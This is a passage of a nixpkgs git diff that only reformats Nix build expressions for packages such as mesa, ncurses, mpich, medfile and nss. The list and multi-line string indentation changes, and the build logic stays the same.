@@ -25,7 +25,8 @@ stdenv.mkDerivation (finalAttrs: {
     "out"
     "doc"
     "devdoc"
-  ] ++ lib.optional pythonSupport "py";
+  ]
+  ++ lib.optional pythonSupport "py";
   outputMan = "bin";
 
   src = fetchurl {
@@ -40,21 +41,20 @@ stdenv.mkDerivation (finalAttrs: {
     autoreconfHook
   ];
 
-  buildInputs =
-    [
-      libxml2.dev
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gettext
-    ]
-    ++ lib.optionals pythonSupport [
-      libxml2.py
-      python3
-      ncurses
-    ]
-    ++ lib.optionals cryptoSupport [
-      libgcrypt
-    ];
+  buildInputs = [
+    libxml2.dev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gettext
+  ]
+  ++ lib.optionals pythonSupport [
+    libxml2.py
+    python3
+    ncurses
+  ]
+  ++ lib.optionals cryptoSupport [
+    libgcrypt
+  ];
 
   propagatedBuildInputs = [
     findXMLCatalogs
@@ -68,16 +68,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  postFixup =
-    ''
-      moveToOutput bin/xslt-config "$dev"
-      moveToOutput lib/xsltConf.sh "$dev"
-    ''
-    + lib.optionalString pythonSupport ''
-      mkdir -p $py/nix-support
-      echo ${libxml2.py} >> $py/nix-support/propagated-build-inputs
-      moveToOutput ${python3.sitePackages} "$py"
-    '';
+  postFixup = ''
+    moveToOutput bin/xslt-config "$dev"
+    moveToOutput lib/xsltConf.sh "$dev"
+  ''
+  + lib.optionalString pythonSupport ''
+    mkdir -p $py/nix-support
+    echo ${libxml2.py} >> $py/nix-support/propagated-build-inputs
+    moveToOutput ${python3.sitePackages} "$py"
+  '';
 
   passthru = {
     inherit pythonSupport;
diff --git a/pkgs/development/libraries/liquid-dsp/default.nix b/pkgs/development/libraries/liquid-dsp/default.nix
index 019749eac91a..583d44001d91 100644
--- a/pkgs/development/libraries/liquid-dsp/default.nix
+++ b/pkgs/development/libraries/liquid-dsp/default.nix
@@ -30,13 +30,14 @@ stdenv.mkDerivation rec {
       (lib.enableFeature true "simdoverride")
     ];
 
-  nativeBuildInputs =
-    [ autoreconfHook ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      autoSignDarwinBinariesHook
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    autoSignDarwinBinariesHook
+    fixDarwinDylibNames
+  ];
 
   meta = {
     homepage = "https://liquidsdr.org/";
diff --git a/pkgs/development/libraries/medfile/default.nix b/pkgs/development/libraries/medfile/default.nix
index 91a935bb99d9..94fb4bcfada2 100644
--- a/pkgs/development/libraries/medfile/default.nix
+++ b/pkgs/development/libraries/medfile/default.nix
@@ -21,28 +21,27 @@ stdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  postPatch =
-    ''
-      # Patch cmake and source files to work with hdf5
-      substituteInPlace config/cmake_files/medMacros.cmake --replace-fail \
-        "IF (NOT HDF_VERSION_MAJOR_REF EQUAL 1 OR NOT HDF_VERSION_MINOR_REF EQUAL 12 OR NOT HDF_VERSION_RELEASE_REF GREATER 0)" \
-        "IF (HDF5_VERSION VERSION_LESS 1.12.0)"
-      substituteInPlace src/*/*.c --replace-warn \
-        "#if H5_VERS_MINOR > 12" \
-        "#if H5_VERS_MINOR > 14"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Some medfile test files #define _a, which
-      # breaks system header files that use _a as a function parameter
-      substituteInPlace tests/c/*.c \
-        --replace-warn "_a" "_A" \
-        --replace-warn "_b" "_B"
-      # Fix compiler errors in test files
-      substituteInPlace tests/c/*.c \
-        --replace-warn "med_Bool" "med_bool" \
-        --replace-warn "med_Axis_type" "med_axis_type" \
-        --replace-warn "med_Access_mode" "med_access_mode"
-    '';
+  postPatch = ''
+    # Patch cmake and source files to work with hdf5
+    substituteInPlace config/cmake_files/medMacros.cmake --replace-fail \
+      "IF (NOT HDF_VERSION_MAJOR_REF EQUAL 1 OR NOT HDF_VERSION_MINOR_REF EQUAL 12 OR NOT HDF_VERSION_RELEASE_REF GREATER 0)" \
+      "IF (HDF5_VERSION VERSION_LESS 1.12.0)"
+    substituteInPlace src/*/*.c --replace-warn \
+      "#if H5_VERS_MINOR > 12" \
+      "#if H5_VERS_MINOR > 14"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Some medfile test files #define _a, which
+    # breaks system header files that use _a as a function parameter
+    substituteInPlace tests/c/*.c \
+      --replace-warn "_a" "_A" \
+      --replace-warn "_b" "_B"
+    # Fix compiler errors in test files
+    substituteInPlace tests/c/*.c \
+      --replace-warn "med_Bool" "med_bool" \
+      --replace-warn "med_Axis_type" "med_axis_type" \
+      --replace-warn "med_Access_mode" "med_access_mode"
+  '';
 
   nativeBuildInputs = [ cmake ];
 
diff --git a/pkgs/development/libraries/mesa/default.nix b/pkgs/development/libraries/mesa/default.nix
index f691f2d3bf8c..80c69302e6a8 100644
--- a/pkgs/development/libraries/mesa/default.nix
+++ b/pkgs/development/libraries/mesa/default.nix
@@ -43,60 +43,58 @@
   enablePatentEncumberedCodecs ? true,
   withValgrind ? lib.meta.availableOn stdenv.hostPlatform valgrind-light,
 
-  galliumDrivers ?
-    [
-      "d3d12" # WSL emulated GPU (aka Dozen)
-      "iris" # new Intel (Broadwell+)
-      "llvmpipe" # software renderer
-      "nouveau" # Nvidia
-      "r300" # very old AMD
-      "r600" # less old AMD
-      "radeonsi" # new AMD (GCN+)
-      "softpipe" # older software renderer
-      "svga" # VMWare virtualized GPU
-      "virgl" # QEMU virtualized GPU (aka VirGL)
-      "zink" # generic OpenGL over Vulkan, experimental
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isAarch64 || stdenv.hostPlatform.isAarch32) [
-      "etnaviv" # Vivante GPU designs (mostly NXP/Marvell SoCs)
-      "freedreno" # Qualcomm Adreno (all Qualcomm SoCs)
-      "lima" # ARM Mali 4xx
-      "panfrost" # ARM Mali Midgard and up (T/G series)
-      "vc4" # Broadcom VC4 (Raspberry Pi 0-3)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      "tegra" # Nvidia Tegra SoCs
-      "v3d" # Broadcom VC5 (Raspberry Pi 4)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86 [
-      "crocus" # Intel legacy, x86 only
-      "i915" # Intel extra legacy, x86 only
-    ],
-  vulkanDrivers ?
-    [
-      "amd" # AMD (aka RADV)
-      "intel" # new Intel (aka ANV)
-      "microsoft-experimental" # WSL virtualized GPU (aka DZN/Dozen)
-      "nouveau" # Nouveau (aka NVK)
-      "swrast" # software renderer (aka Lavapipe)
-    ]
-    ++
-      lib.optionals
-        (stdenv.hostPlatform.isAarch -> lib.versionAtLeast stdenv.hostPlatform.parsed.cpu.version "6")
-        [
-          # QEMU virtualized GPU (aka VirGL)
-          # Requires ATOMIC_INT_LOCK_FREE == 2.
-          "virtio"
-        ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      "broadcom" # Broadcom VC5 (Raspberry Pi 4, aka V3D)
-      "freedreno" # Qualcomm Adreno (all Qualcomm SoCs)
-      "imagination-experimental" # PowerVR Rogue (currently N/A)
-      "panfrost" # ARM Mali Midgard and up (T/G series)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86 [
-      "intel_hasvk" # Intel Haswell/Broadwell, "legacy" Vulkan driver (https://www.phoronix.com/news/Intel-HasVK-Drop-Dead-Code)
-    ],
+  galliumDrivers ? [
+    "d3d12" # WSL emulated GPU (aka Dozen)
+    "iris" # new Intel (Broadwell+)
+    "llvmpipe" # software renderer
+    "nouveau" # Nvidia
+    "r300" # very old AMD
+    "r600" # less old AMD
+    "radeonsi" # new AMD (GCN+)
+    "softpipe" # older software renderer
+    "svga" # VMWare virtualized GPU
+    "virgl" # QEMU virtualized GPU (aka VirGL)
+    "zink" # generic OpenGL over Vulkan, experimental
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isAarch64 || stdenv.hostPlatform.isAarch32) [
+    "etnaviv" # Vivante GPU designs (mostly NXP/Marvell SoCs)
+    "freedreno" # Qualcomm Adreno (all Qualcomm SoCs)
+    "lima" # ARM Mali 4xx
+    "panfrost" # ARM Mali Midgard and up (T/G series)
+    "vc4" # Broadcom VC4 (Raspberry Pi 0-3)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    "tegra" # Nvidia Tegra SoCs
+    "v3d" # Broadcom VC5 (Raspberry Pi 4)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86 [
+    "crocus" # Intel legacy, x86 only
+    "i915" # Intel extra legacy, x86 only
+  ],
+  vulkanDrivers ? [
+    "amd" # AMD (aka RADV)
+    "intel" # new Intel (aka ANV)
+    "microsoft-experimental" # WSL virtualized GPU (aka DZN/Dozen)
+    "nouveau" # Nouveau (aka NVK)
+    "swrast" # software renderer (aka Lavapipe)
+  ]
+  ++
+    lib.optionals
+      (stdenv.hostPlatform.isAarch -> lib.versionAtLeast stdenv.hostPlatform.parsed.cpu.version "6")
+      [
+        # QEMU virtualized GPU (aka VirGL)
+        # Requires ATOMIC_INT_LOCK_FREE == 2.
+        "virtio"
+      ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    "broadcom" # Broadcom VC5 (Raspberry Pi 4, aka V3D)
+    "freedreno" # Qualcomm Adreno (all Qualcomm SoCs)
+    "imagination-experimental" # PowerVR Rogue (currently N/A)
+    "panfrost" # ARM Mali Midgard and up (T/G series)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86 [
+    "intel_hasvk" # Intel Haswell/Broadwell, "legacy" Vulkan driver (https://www.phoronix.com/news/Intel-HasVK-Drop-Dead-Code)
+  ],
   eglPlatforms ? [
     "x11"
     "wayland"
@@ -177,26 +175,25 @@ stdenv.mkDerivation {
     ${copyRustDeps}
   '';
 
-  outputs =
-    [
-      "out"
-      # OpenCL drivers pull in ~1G of extra LLVM stuff, so don't install them
-      # if the user didn't explicitly ask for it
-      "opencl"
-      # the Dozen drivers depend on libspirv2dxil, but link it statically, and
-      # libspirv2dxil itself is pretty chonky, so relocate it to its own output in
-      # case anything wants to use it at some point
-      "spirv2dxil"
-    ]
-    ++ lib.optionals (!needNativeCLC) [
-      # tools for the host platform to be used when cross-compiling.
-      # mesa builds these only when not already built. hence:
-      # - for a non-cross build (needNativeCLC = false), we do not provide mesa
-      #   with any `*-clc` binaries, so it builds them and installs them.
-      # - for a cross build (needNativeCLC = true), we provide mesa with `*-clc`
-      #   binaries, so it skips building & installing any new CLC files.
-      "cross_tools"
-    ];
+  outputs = [
+    "out"
+    # OpenCL drivers pull in ~1G of extra LLVM stuff, so don't install them
+    # if the user didn't explicitly ask for it
+    "opencl"
+    # the Dozen drivers depend on libspirv2dxil, but link it statically, and
+    # libspirv2dxil itself is pretty chonky, so relocate it to its own output in
+    # case anything wants to use it at some point
+    "spirv2dxil"
+  ]
+  ++ lib.optionals (!needNativeCLC) [
+    # tools for the host platform to be used when cross-compiling.
+    # mesa builds these only when not already built. hence:
+    # - for a non-cross build (needNativeCLC = false), we do not provide mesa
+    #   with any `*-clc` binaries, so it builds them and installs them.
+    # - for a cross build (needNativeCLC = true), we provide mesa with `*-clc`
+    #   binaries, so it skips building & installing any new CLC files.
+    "cross_tools"
+  ];
 
   # Keep build-ids so drivers can use them for caching, etc.
   # Also some drivers segfault without this.
@@ -207,63 +204,62 @@ stdenv.mkDerivation {
     PATH=${lib.getDev llvmPackages.libllvm}/bin:$PATH
   '';
 
-  mesonFlags =
-    [
-      "--sysconfdir=/etc"
+  mesonFlags = [
+    "--sysconfdir=/etc"
 
-      # What to build
-      (lib.mesonOption "platforms" (lib.concatStringsSep "," eglPlatforms))
-      (lib.mesonOption "gallium-drivers" (lib.concatStringsSep "," galliumDrivers))
-      (lib.mesonOption "vulkan-drivers" (lib.concatStringsSep "," vulkanDrivers))
-      (lib.mesonOption "vulkan-layers" (lib.concatStringsSep "," vulkanLayers))
+    # What to build
+    (lib.mesonOption "platforms" (lib.concatStringsSep "," eglPlatforms))
+    (lib.mesonOption "gallium-drivers" (lib.concatStringsSep "," galliumDrivers))
+    (lib.mesonOption "vulkan-drivers" (lib.concatStringsSep "," vulkanDrivers))
+    (lib.mesonOption "vulkan-layers" (lib.concatStringsSep "," vulkanLayers))
 
-      # Enable glvnd for dynamic libGL dispatch
-      (lib.mesonEnable "glvnd" true)
-      (lib.mesonEnable "gbm" true)
-      (lib.mesonBool "libgbm-external" true)
+    # Enable glvnd for dynamic libGL dispatch
+    (lib.mesonEnable "glvnd" true)
+    (lib.mesonEnable "gbm" true)
+    (lib.mesonBool "libgbm-external" true)
 
-      (lib.mesonBool "gallium-nine" false) # Direct3D9 in Wine, largely supplanted by DXVK
-      (lib.mesonBool "osmesa" false) # deprecated upstream
+    (lib.mesonBool "gallium-nine" false) # Direct3D9 in Wine, largely supplanted by DXVK
+    (lib.mesonBool "osmesa" false) # deprecated upstream
 
-      # Only used by xf86-video-vmware, which has more features than VMWare's KMS driver,
-      # so we're keeping it for now. Should be removed when that's no longer the case.
-      # See: https://github.com/NixOS/nixpkgs/pull/392492
-      (lib.mesonEnable "gallium-xa" true)
+    # Only used by xf86-video-vmware, which has more features than VMWare's KMS driver,
+    # so we're keeping it for now. Should be removed when that's no longer the case.
+    # See: https://github.com/NixOS/nixpkgs/pull/392492
+    (lib.mesonEnable "gallium-xa" true)
 
-      (lib.mesonBool "teflon" true) # TensorFlow frontend
+    (lib.mesonBool "teflon" true) # TensorFlow frontend
 
-      # Enable all freedreno kernel mode drivers. (For example, virtio can be
-      # used with a virtio-gpu device supporting drm native context.) This option
-      # is ignored when freedreno is not being built.
-      (lib.mesonOption "freedreno-kmds" "msm,kgsl,virtio,wsl")
+    # Enable all freedreno kernel mode drivers. (For example, virtio can be
+    # used with a virtio-gpu device supporting drm native context.) This option
+    # is ignored when freedreno is not being built.
+    (lib.mesonOption "freedreno-kmds" "msm,kgsl,virtio,wsl")
 
-      # Enable Intel RT stuff when available
-      (lib.mesonEnable "intel-rt" stdenv.hostPlatform.isx86_64)
+    # Enable Intel RT stuff when available
+    (lib.mesonEnable "intel-rt" stdenv.hostPlatform.isx86_64)
 
-      # Required for OpenCL
-      (lib.mesonOption "clang-libdir" "${lib.getLib llvmPackages.clang-unwrapped}/lib")
+    # Required for OpenCL
+    (lib.mesonOption "clang-libdir" "${lib.getLib llvmPackages.clang-unwrapped}/lib")
 
-      # Rusticl, new OpenCL frontend
-      (lib.mesonBool "gallium-rusticl" true)
+    # Rusticl, new OpenCL frontend
+    (lib.mesonBool "gallium-rusticl" true)
 
-      # meson auto_features enables this, but we do not want it
-      (lib.mesonEnable "android-libbacktrace" false)
-      (lib.mesonEnable "microsoft-clc" false) # Only relevant on Windows (OpenCL 1.2 API on top of D3D12)
+    # meson auto_features enables this, but we do not want it
+    (lib.mesonEnable "android-libbacktrace" false)
+    (lib.mesonEnable "microsoft-clc" false) # Only relevant on Windows (OpenCL 1.2 API on top of D3D12)
 
-      # Build and install extra tools for cross
-      (lib.mesonBool "install-mesa-clc" true)
-      (lib.mesonBool "install-precomp-compiler" true)
+    # Build and install extra tools for cross
+    (lib.mesonBool "install-mesa-clc" true)
+    (lib.mesonBool "install-precomp-compiler" true)
 
-      # Disable valgrind on targets where it's not available
-      (lib.mesonEnable "valgrind" withValgrind)
-    ]
-    ++ lib.optionals enablePatentEncumberedCodecs [
-      (lib.mesonOption "video-codecs" "all")
-    ]
-    ++ lib.optionals needNativeCLC [
-      (lib.mesonOption "mesa-clc" "system")
-      (lib.mesonOption "precomp-compiler" "system")
-    ];
+    # Disable valgrind on targets where it's not available
+    (lib.mesonEnable "valgrind" withValgrind)
+  ]
+  ++ lib.optionals enablePatentEncumberedCodecs [
+    (lib.mesonOption "video-codecs" "all")
+  ]
+  ++ lib.optionals needNativeCLC [
+    (lib.mesonOption "mesa-clc" "system")
+    (lib.mesonOption "precomp-compiler" "system")
+  ];
 
   strictDeps = true;
 
@@ -311,35 +307,34 @@ stdenv.mkDerivation {
     buildPackages.stdenv.cc
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      pkg-config
-      ninja
-      intltool
-      bison
-      flex
-      file
-      python3Packages.python
-      python3Packages.packaging
-      python3Packages.pycparser
-      python3Packages.mako
-      python3Packages.ply
-      python3Packages.pyyaml
-      jdupes
-      # Use bin output from glslang to not propagate the dev output at
-      # the build time with the host glslang.
-      (lib.getBin glslang)
-      rustc
-      rust-bindgen
-      rust-cbindgen
-      rustPlatform.bindgenHook
-      wayland-scanner
-    ]
-    ++ lib.optionals needNativeCLC [
-      # `or null` to not break eval with `attribute missing` on darwin to linux cross
-      (buildPackages.mesa.cross_tools or null)
-    ];
+  nativeBuildInputs = [
+    meson
+    pkg-config
+    ninja
+    intltool
+    bison
+    flex
+    file
+    python3Packages.python
+    python3Packages.packaging
+    python3Packages.pycparser
+    python3Packages.mako
+    python3Packages.ply
+    python3Packages.pyyaml
+    jdupes
+    # Use bin output from glslang to not propagate the dev output at
+    # the build time with the host glslang.
+    (lib.getBin glslang)
+    rustc
+    rust-bindgen
+    rust-cbindgen
+    rustPlatform.bindgenHook
+    wayland-scanner
+  ]
+  ++ lib.optionals needNativeCLC [
+    # `or null` to not break eval with `attribute missing` on darwin to linux cross
+    (buildPackages.mesa.cross_tools or null)
+  ];
 
   disallowedRequisites = lib.optionals needNativeCLC [
     (buildPackages.mesa.cross_tools or null)
diff --git a/pkgs/development/libraries/mpich/default.nix b/pkgs/development/libraries/mpich/default.nix
index a1b153b5dfed..c55b53c03033 100644
--- a/pkgs/development/libraries/mpich/default.nix
+++ b/pkgs/development/libraries/mpich/default.nix
@@ -53,18 +53,17 @@ stdenv.mkDerivation rec {
     "man"
   ];
 
-  configureFlags =
-    [
-      "--enable-shared"
-      "--with-pm=${withPmStr}"
-    ]
-    ++ lib.optionals (lib.versionAtLeast gfortran.version "10") [
-      "FFLAGS=-fallow-argument-mismatch" # https://github.com/pmodels/mpich/issues/4300
-      "FCFLAGS=-fallow-argument-mismatch"
-    ]
-    ++ lib.optionals pmixSupport [
-      "--with-pmix"
-    ];
+  configureFlags = [
+    "--enable-shared"
+    "--with-pm=${withPmStr}"
+  ]
+  ++ lib.optionals (lib.versionAtLeast gfortran.version "10") [
+    "FFLAGS=-fallow-argument-mismatch" # https://github.com/pmodels/mpich/issues/4300
+    "FCFLAGS=-fallow-argument-mismatch"
+  ]
+  ++ lib.optionals pmixSupport [
+    "--with-pmix"
+  ];
 
   enableParallelBuilding = true;
 
@@ -74,14 +73,13 @@ stdenv.mkDerivation rec {
     autoconf
     automake
   ];
-  buildInputs =
-    [
-      perl
-      openssh
-      hwloc
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) ch4backend
-    ++ lib.optional pmixSupport pmix;
+  buildInputs = [
+    perl
+    openssh
+    hwloc
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) ch4backend
+  ++ lib.optional pmixSupport pmix;
 
   # test_double_serializer.test fails on darwin
   doCheck = !stdenv.hostPlatform.isDarwin;
diff --git a/pkgs/development/libraries/ncurses/default.nix b/pkgs/development/libraries/ncurses/default.nix
index df558034c7e0..8769ef6c0985 100644
--- a/pkgs/development/libraries/ncurses/default.nix
+++ b/pkgs/development/libraries/ncurses/default.nix
@@ -43,95 +43,92 @@ stdenv.mkDerivation (finalAttrs: {
         "host"
       ];
 
-  configureFlags =
-    [
-      (lib.withFeature (!enableStatic) "shared")
-      "--without-debug"
-      "--enable-pc-files"
-      "--enable-symlinks"
-      "--with-manpage-format=normal"
-      "--disable-stripping"
-      "--with-versioned-syms"
-    ]
-    ++ lib.optional unicodeSupport "--enable-widec"
-    ++ lib.optional (!withCxx) "--without-cxx"
-    ++ lib.optional (abiVersion == "5") "--with-abi-version=5"
-    ++ lib.optional stdenv.hostPlatform.isNetBSD "--enable-rpath"
-    ++ lib.optional withTermlib "--with-termlib"
-    ++ lib.optionals stdenv.hostPlatform.isWindows [
-      "--enable-sp-funcs"
-      "--enable-term-driver"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isUnix && enableStatic) [
-      # For static binaries, the point is to have a standalone binary with
-      # minimum dependencies. So here we make sure that binaries using this
-      # package won't depend on a terminfo database located in the Nix store.
-      "--with-terminfo-dirs=${
-        lib.concatStringsSep ":" [
-          "/etc/terminfo" # Debian, Fedora, Gentoo
-          "/lib/terminfo" # Debian
-          "/usr/share/terminfo" # upstream default, probably all FHS-based distros
-          "/run/current-system/sw/share/terminfo" # NixOS
-        ]
-      }"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "--with-build-cc=${buildPackages.stdenv.cc}/bin/${buildPackages.stdenv.cc.targetPrefix}cc"
-    ]
-    ++ (lib.optionals (stdenv.cc.bintools.isLLVM && lib.versionAtLeast stdenv.cc.bintools.version "17")
-      [
-        # lld17+ passes `--no-undefined-version` by default and makes this a hard
-        # error; ncurses' `resulting.map` version script references symbols that
-        # aren't present.
-        #
-        # See: https://lists.gnu.org/archive/html/bug-ncurses/2024-05/msg00086.html
-        #
-        # For now we allow this with `--undefined-version`:
-        "LDFLAGS=-Wl,--undefined-version"
+  configureFlags = [
+    (lib.withFeature (!enableStatic) "shared")
+    "--without-debug"
+    "--enable-pc-files"
+    "--enable-symlinks"
+    "--with-manpage-format=normal"
+    "--disable-stripping"
+    "--with-versioned-syms"
+  ]
+  ++ lib.optional unicodeSupport "--enable-widec"
+  ++ lib.optional (!withCxx) "--without-cxx"
+  ++ lib.optional (abiVersion == "5") "--with-abi-version=5"
+  ++ lib.optional stdenv.hostPlatform.isNetBSD "--enable-rpath"
+  ++ lib.optional withTermlib "--with-termlib"
+  ++ lib.optionals stdenv.hostPlatform.isWindows [
+    "--enable-sp-funcs"
+    "--enable-term-driver"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isUnix && enableStatic) [
+    # For static binaries, the point is to have a standalone binary with
+    # minimum dependencies. So here we make sure that binaries using this
+    # package won't depend on a terminfo database located in the Nix store.
+    "--with-terminfo-dirs=${
+      lib.concatStringsSep ":" [
+        "/etc/terminfo" # Debian, Fedora, Gentoo
+        "/lib/terminfo" # Debian
+        "/usr/share/terminfo" # upstream default, probably all FHS-based distros
+        "/run/current-system/sw/share/terminfo" # NixOS
       ]
-    )
-    ++ lib.optionals stdenv.hostPlatform.isOpenBSD [
-      # If you don't specify the version number in the host specification, a branch gets taken in configure
-      # which assumes that your openbsd is from the 90s, leading to a truly awful compiler/linker configuration.
-      # No, autoreconfHook doesn't work.
-      "--host=${stdenv.hostPlatform.config}${stdenv.cc.libc.version}"
-    ];
+    }"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "--with-build-cc=${buildPackages.stdenv.cc}/bin/${buildPackages.stdenv.cc.targetPrefix}cc"
+  ]
+  ++ (lib.optionals (stdenv.cc.bintools.isLLVM && lib.versionAtLeast stdenv.cc.bintools.version "17")
+    [
+      # lld17+ passes `--no-undefined-version` by default and makes this a hard
+      # error; ncurses' `resulting.map` version script references symbols that
+      # aren't present.
+      #
+      # See: https://lists.gnu.org/archive/html/bug-ncurses/2024-05/msg00086.html
+      #
+      # For now we allow this with `--undefined-version`:
+      "LDFLAGS=-Wl,--undefined-version"
+    ]
+  )
+  ++ lib.optionals stdenv.hostPlatform.isOpenBSD [
+    # If you don't specify the version number in the host specification, a branch gets taken in configure
+    # which assumes that your openbsd is from the 90s, leading to a truly awful compiler/linker configuration.
+    # No, autoreconfHook doesn't work.
+    "--host=${stdenv.hostPlatform.config}${stdenv.cc.libc.version}"
+  ];
 
   # Only the C compiler, and explicitly not C++ compiler needs this flag on solaris:
   CFLAGS = lib.optionalString stdenv.hostPlatform.isSunOS "-D_XOPEN_SOURCE_EXTENDED";
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      updateAutotoolsGnuConfigScriptsHook
-      pkg-config
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      # for `tic`, build already depends on for build `cc` so it's weird the build doesn't just build `tic`.
-      ncurses
-    ];
+  nativeBuildInputs = [
+    updateAutotoolsGnuConfigScriptsHook
+    pkg-config
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    # for `tic`, build already depends on for build `cc` so it's weird the build doesn't just build `tic`.
+    ncurses
+  ];
 
   buildInputs = lib.optional (mouseSupport && stdenv.hostPlatform.isLinux) gpm;
 
-  preConfigure =
-    ''
-      export PKG_CONFIG_LIBDIR="$dev/lib/pkgconfig"
-      mkdir -p "$PKG_CONFIG_LIBDIR"
-      configureFlagsArray+=(
-        "--libdir=$out/lib"
-        "--includedir=$dev/include"
-        "--bindir=$dev/bin"
-        "--mandir=$man/share/man"
-        "--with-pkg-config-libdir=$PKG_CONFIG_LIBDIR"
-      )
-    ''
-    + lib.optionalString stdenv.hostPlatform.isSunOS ''
-      sed -i -e '/-D__EXTENSIONS__/ s/-D_XOPEN_SOURCE=\$cf_XOPEN_SOURCE//' \
-             -e '/CPPFLAGS="$CPPFLAGS/s/ -D_XOPEN_SOURCE_EXTENDED//' \
-          configure
-      CFLAGS=-D_XOPEN_SOURCE_EXTENDED
-    '';
+  preConfigure = ''
+    export PKG_CONFIG_LIBDIR="$dev/lib/pkgconfig"
+    mkdir -p "$PKG_CONFIG_LIBDIR"
+    configureFlagsArray+=(
+      "--libdir=$out/lib"
+      "--includedir=$dev/include"
+      "--bindir=$dev/bin"
+      "--mandir=$man/share/man"
+      "--with-pkg-config-libdir=$PKG_CONFIG_LIBDIR"
+    )
+  ''
+  + lib.optionalString stdenv.hostPlatform.isSunOS ''
+    sed -i -e '/-D__EXTENSIONS__/ s/-D_XOPEN_SOURCE=\$cf_XOPEN_SOURCE//' \
+           -e '/CPPFLAGS="$CPPFLAGS/s/ -D_XOPEN_SOURCE_EXTENDED//' \
+        configure
+    CFLAGS=-D_XOPEN_SOURCE_EXTENDED
+  '';
 
   enableParallelBuilding = true;
 
@@ -253,7 +250,8 @@ stdenv.mkDerivation (finalAttrs: {
           "menu"
           "ncurses"
           "panel"
-        ] ++ lib.optional withCxx "ncurses++";
+        ]
+        ++ lib.optional withCxx "ncurses++";
       in
       base ++ lib.optionals unicodeSupport (map (p: p + "w") base);
     platforms = platforms.all;
diff --git a/pkgs/development/libraries/ngtcp2/default.nix b/pkgs/development/libraries/ngtcp2/default.nix
index 47f72eb4dac8..a6e20a52e765 100644
--- a/pkgs/development/libraries/ngtcp2/default.nix
+++ b/pkgs/development/libraries/ngtcp2/default.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation (finalAttrs: {
     libev
     nghttp3
     quictls
-  ] ++ lib.optional withJemalloc jemalloc;
+  ]
+  ++ lib.optional withJemalloc jemalloc;
 
   cmakeFlags = [
     (lib.cmakeBool "ENABLE_STATIC_LIB" false)
diff --git a/pkgs/development/libraries/nss/generic.nix b/pkgs/development/libraries/nss/generic.nix
index 22393aa606be..77d838a25ab0 100644
--- a/pkgs/development/libraries/nss/generic.nix
+++ b/pkgs/development/libraries/nss/generic.nix
@@ -37,17 +37,16 @@ stdenv.mkDerivation rec {
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
-  nativeBuildInputs =
-    [
-      perl
-      ninja
-      (buildPackages.python3.withPackages (ps: with ps; [ gyp ]))
-      installShellFiles
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    perl
+    ninja
+    (buildPackages.python3.withPackages (ps: with ps; [ gyp ]))
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    fixDarwinDylibNames
+  ];
 
   buildInputs = [
     zlib
@@ -62,20 +61,19 @@ stdenv.mkDerivation rec {
     ./fix-cross-compilation.patch
   ];
 
-  postPatch =
-    ''
-      patchShebangs .
+  postPatch = ''
+    patchShebangs .
 
-      for f in coreconf/config.gypi build.sh; do
-        substituteInPlace "$f" --replace "/usr/bin/env" "${buildPackages.coreutils}/bin/env"
-      done
+    for f in coreconf/config.gypi build.sh; do
+      substituteInPlace "$f" --replace "/usr/bin/env" "${buildPackages.coreutils}/bin/env"
+    done
 
-      substituteInPlace coreconf/config.gypi --replace "/usr/bin/grep" "${buildPackages.coreutils}/bin/env grep"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace coreconf/Darwin.mk --replace '@executable_path/$(notdir $@)' "$out/lib/\$(notdir \$@)"
-      substituteInPlace coreconf/config.gypi --replace "'DYLIB_INSTALL_NAME_BASE': '@executable_path'" "'DYLIB_INSTALL_NAME_BASE': '$out/lib'"
-    '';
+    substituteInPlace coreconf/config.gypi --replace "/usr/bin/grep" "${buildPackages.coreutils}/bin/env grep"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace coreconf/Darwin.mk --replace '@executable_path/$(notdir $@)' "$out/lib/\$(notdir \$@)"
+    substituteInPlace coreconf/config.gypi --replace "'DYLIB_INSTALL_NAME_BASE': '@executable_path'" "'DYLIB_INSTALL_NAME_BASE': '$out/lib'"
+  '';
 
   outputs = [
     "out"
@@ -105,28 +103,27 @@ stdenv.mkDerivation rec {
       target_system = stdenv.hostPlatform.uname.system;
       host = getArch stdenv.buildPlatform;
 
-      buildFlags =
-        [
-          "-v"
-          "--opt"
